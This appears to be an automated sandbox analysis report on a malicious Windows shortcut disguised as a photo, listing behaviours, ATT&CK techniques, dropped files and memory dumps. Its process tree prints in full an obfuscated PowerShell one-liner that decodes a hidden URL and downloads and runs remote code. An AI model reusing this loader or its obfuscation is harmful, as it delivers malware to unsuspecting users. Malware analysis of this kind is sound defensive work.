Analysis
- max time kernel
146s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:42
General
- Target photov_027853836618.lnk
- Size 2KB
- Sample260729-nvgrragb56
- SHA256 89bbe55122ce05afb464aa7ff33eb488356a25644563b99aa431651747bfb939
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_027853836618.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$teny4=48;$x5x_vb3di8=[bigint]::Parse('593210001843820213541070631177207286');$klyr1abkl7=[bigint]::Parse('42911385721246346013362028370573');$x5x_vb3di8=$x5x_vb3di8-$klyr1abkl7;$pj80e=@();while($x5x_vb3di8 -gt 0){$pj80e+=[char][int]([bigint]::Remainder($x5x_vb3di8,256));$x5x_vb3di8=[bigint]::Divide($x5x_vb3di8,256)};.([scriptblock]::Create((irm(-join$pj80e))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$teny4=48;$x5x_vb3di8=[bigint]::Parse('593210001843820213541070631177207286');$klyr1abkl7=[bigint]::Parse('42911385721246346013362028370573');$x5x_vb3di8=$x5x_vb3di8-$klyr1abkl7;$pj80e=@();while($x5x_vb3di8 -gt 0){$pj80e+=[char][int]([bigint]::Remainder($x5x_vb3di8,256));$x5x_vb3di8=[bigint]::Divide($x5x_vb3di8,256)};.([scriptblock]::Create((irm(-join$pj80e))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\ekagoqv_fnx_upd_idokmeeaad825251b41\psl.exe"C:\Users\Admin\AppData\Local\ekagoqv_fnx_upd_idokmeeaad825251b41\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
yebtptny_umbpl__ptqtwl.zip
VCRUNTIME140_1.dll
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
DCRCVDrv.sys
memory/888-124-0x00007FF7A7010000-0x00007FF7A7025000-memory.dmp
memory/1392-172-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-162-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-1384-0x0000000006830000-0x0000000006DEA000-memory.dmp
memory/1392-1383-0x00000000061D0000-0x0000000006262000-memory.dmp
memory/1392-1382-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/1392-127-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-128-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-130-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-132-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-180-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-134-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-136-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-206-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-138-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-218-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-140-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-142-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-242-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-148-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-150-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-152-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-154-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-156-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-158-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-160-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-164-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-166-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-168-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-170-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-174-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-123-0x0000000000820000-0x0000000000890000-memory.dmp
memory/1392-176-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-125-0x0000000002C10000-0x0000000002C2A000-memory.dmp
memory/1392-126-0x0000000004FE0000-0x000000000500C000-memory.dmp
memory/1392-146-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-144-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-240-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-238-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-236-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-234-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-232-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-230-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-229-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-226-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-224-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-222-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-178-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-220-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-216-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-214-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-212-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-210-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-208-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-204-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-202-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-200-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-198-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-196-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-194-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-192-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-190-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-188-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-186-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-184-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/1392-182-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/2952-13-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-28-0x00000255A36D0000-0x00000255A37C0000-memory.dmp
memory/2952-2-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-0-0x00007FFEE529F000-0x00007FFEE52A0000-memory.dmp
memory/2952-19-0x00000255A3610000-0x00000255A36C2000-memory.dmp
memory/2952-3-0x00000255A2E70000-0x00000255A2E92000-memory.dmp
memory/2952-6-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-7-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-20-0x00000255A3380000-0x00000255A338A000-memory.dmp
memory/2952-91-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-8-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-9-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-10-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-11-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-1-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-14-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-18-0x00000255A3390000-0x00000255A33AE000-memory.dmp
memory/2952-79-0x00000255A36D0000-0x00000255A37C0000-memory.dmp
memory/2952-15-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-36-0x00000255A33F0000-0x00000255A3402000-memory.dmp
memory/2952-34-0x00000255A36D0000-0x00000255A37C0000-memory.dmp
memory/2952-30-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-12-0x00000255A3440000-0x00000255A3602000-memory.dmp
memory/2952-27-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-25-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-26-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/2952-24-0x00000255A33C0000-0x00000255A33CA000-memory.dmp
memory/2952-23-0x00000255A3D00000-0x00000255A4228000-memory.dmp
memory/2952-21-0x00000255A33E0000-0x00000255A340A000-memory.dmp
memory/2952-22-0x00000255A33E0000-0x00000255A3404000-memory.dmp
memory/5796-107-0x0000000000010000-0x000000000003D000-memory.dmp
memory/6088-755-0x0000000000400000-0x0000000000470000-memory.dmp